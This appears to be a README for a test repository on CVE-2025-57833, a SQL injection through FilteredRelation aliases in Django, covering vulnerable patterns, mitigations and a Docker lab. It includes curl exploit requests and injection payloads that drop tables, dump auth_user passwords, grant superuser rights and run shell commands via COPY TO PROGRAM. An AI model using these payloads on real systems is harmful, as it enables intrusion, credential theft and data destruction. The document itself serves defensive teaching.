
We've set up an environment to test CVE-2025-57833. This environment was built using AI, so it's subject to ongoing modification.
This repository demonstrates and explains CVE-2025-57833, a critical SQL injection vulnerability in Django's ORM that affects versions 4.2 before 4.2.24, 5.1 before 5.1.12, and 5.2 before 5.2.6.
CVSS Score: 9.8 (Critical)
Impact: SQL Injection leading to Remote Code Execution (RCE)
Authentication Required: None (Unauthenticated attack)
Django ORM (Object-Relational Mapping) allows developers to interact with databases using Python code instead of raw SQL. For example:
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation is a Django feature that allows you to join tables with additional filtering conditions:
# Join books with authors, but only active authors
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
Sometimes developers need to create field names dynamically based on user input:
# User wants to search by different criteria
search_field = request.POST.get('field_name') # User input: "title", "author", etc.
# Dynamic field creation using **kwargs
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
The vulnerability happens when unsanitized user input is used as dictionary keys in annotate() or alias() with FilteredRelation. Here's the step-by-step process:
# This is what vulnerable applications do:
user_input = request.POST.get('search_field') # Attacker controls this
# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ DANGEROUS
})
An attacker sends malicious input:
user_input = "malicious_field'; DROP TABLE users; --"
Django generates SQL like this:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
The malicious SQL is executed, potentially:
Many Django applications have search functionality where users can choose which field to search:
# views.py - Common vulnerable pattern
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# Developer thinks this is safe - IT'S NOT!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQL Injection!
})
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Invalid field")
queryset.annotate(**{
user_field: FilteredRelation('relation') # Now safe
})
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Field '{field_name}' not allowed")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Invalid search type")
Update to the latest Django version:
This repository includes a complete test environment:
# Run the vulnerable Django application
docker-compose up
# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
For detailed testing instructions, see document/README.md.
This repository is for educational and defensive security purposes only. Do not use this information to attack systems you don't own or have permission to test.